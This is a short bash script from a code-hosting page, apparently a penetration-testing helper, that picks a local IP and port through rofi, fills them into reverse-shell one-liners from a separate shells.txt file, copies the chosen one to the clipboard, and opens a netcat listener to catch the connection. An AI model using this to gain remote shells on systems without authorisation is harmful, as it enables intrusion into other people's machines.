You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
51 lines
864 B
51 lines
864 B
#!/usr/bin/env bash |
|
# |
|
# Use dmenu to pick a reverse shell |
|
# |
|
# Requirements: |
|
# dmenu, xsel |
|
# |
|
|
|
SHELLS="$(dirname $0)/shells.txt" |
|
|
|
function notify() { |
|
if [ "$(command -v notify-send)" ]; then |
|
notify-send "$1" "$2" |
|
fi |
|
} |
|
|
|
function getIP(){ |
|
ip route | |
|
grep -oe 'src [^ ]* ' | # Get in the form 'src ipaddress' |
|
awk '{print $2}' | # Get the ip |
|
sort -u | # Get the unique ones |
|
rofi -dmenu -i -p "IP Address" |
|
} |
|
|
|
function getPort() { |
|
rofi -dmenu -p "Port" |
|
} |
|
|
|
function getReverseShell() { |
|
ip="$1" |
|
port="$2" |
|
cat "$SHELLS" | |
|
sed "s/\[IPADDR\]/$ip/g" | |
|
sed "s/\[PORT\]/$port/g" | |
|
rofi -dmenu -i -p "Reverse Shell" | |
|
cut -d'|' -f2- |
|
} |
|
|
|
function display() { |
|
ip=$(getIP) |
|
port=$(getPort) |
|
reverseShell=$(getReverseShell $ip $port) |
|
|
|
echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard |
|
|
|
nc -lvnp $port |
|
} |
|
|
|
|
|
# display displays :) |
|
display
|
|
|